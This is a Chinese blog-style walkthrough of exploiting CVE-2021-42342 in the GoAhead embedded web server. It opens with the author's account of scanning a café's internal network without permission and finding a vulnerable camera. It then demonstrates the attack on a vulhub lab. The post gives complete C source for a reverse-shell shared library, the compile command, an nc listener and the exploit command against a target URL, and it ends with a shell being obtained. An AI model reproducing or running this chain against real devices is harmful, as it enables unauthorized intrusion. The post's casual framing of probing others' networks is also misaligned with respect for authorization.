前言:
今天闲的无事,用goby在咖啡馆里的内网中扫了一圈,发现一个有意思的IP
看了一下组件,,然后访问之后发现是一个摄像头的后台登录界面,查了一下GoAhead是什么,发现这是一个嵌入式Web服务器,并且版本还比较老,这个组件存在着多个版本的任意命令执行漏洞,那么我们就利用起来。
这里我以靶场来演示吧,毕竟那啥哈,我们纯属实验。
使用vulhub靶场,利用docker进行搭建
靶场目录
代码语言:javascript
复制
vulhub/goahead/CVE-2021-42342
启动
代码语言:javascript
复制
docker-compose up -d
然后我们访问一下8080端口,这里需要注意我们是http,不是https,有时候网站会自动转成https导致无法访问。
漏洞复现
漏洞复现我们需要准备三个东西,kali Linux、poc.c、poc.py
我们利用nc进行反弹,poc.c代码如下
代码语言:javascript
复制
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="172.17.0.1";/*The server which accepts shell*/
uint32_t server_port=7777;/*The port which you listen to*/
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
上面代码,红色IP根据你的攻击电脑的IP进行设置,端口根据你自己进行配置
我们将这个文件放置到kali中,编译为so文件
代码语言:javascript
复制
gcc -s -shared -fPIC ./poc.c -o poc.so
编译完之后,我们就可以实用poc.py进行操作利用,下载地址如下
代码语言:javascript
复制
https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342
我们kali先开启nc反弹
代码语言:javascript
复制
nc -lvnp 7777
然后我们攻击目标的地址
代码语言:javascript
复制
python3 poc.py http://192.168.195.140:8080/cgi-bin/index poc.so
虽然这里报错,但是我们可以看到nc是反弹了shell过来,成功拿下目标。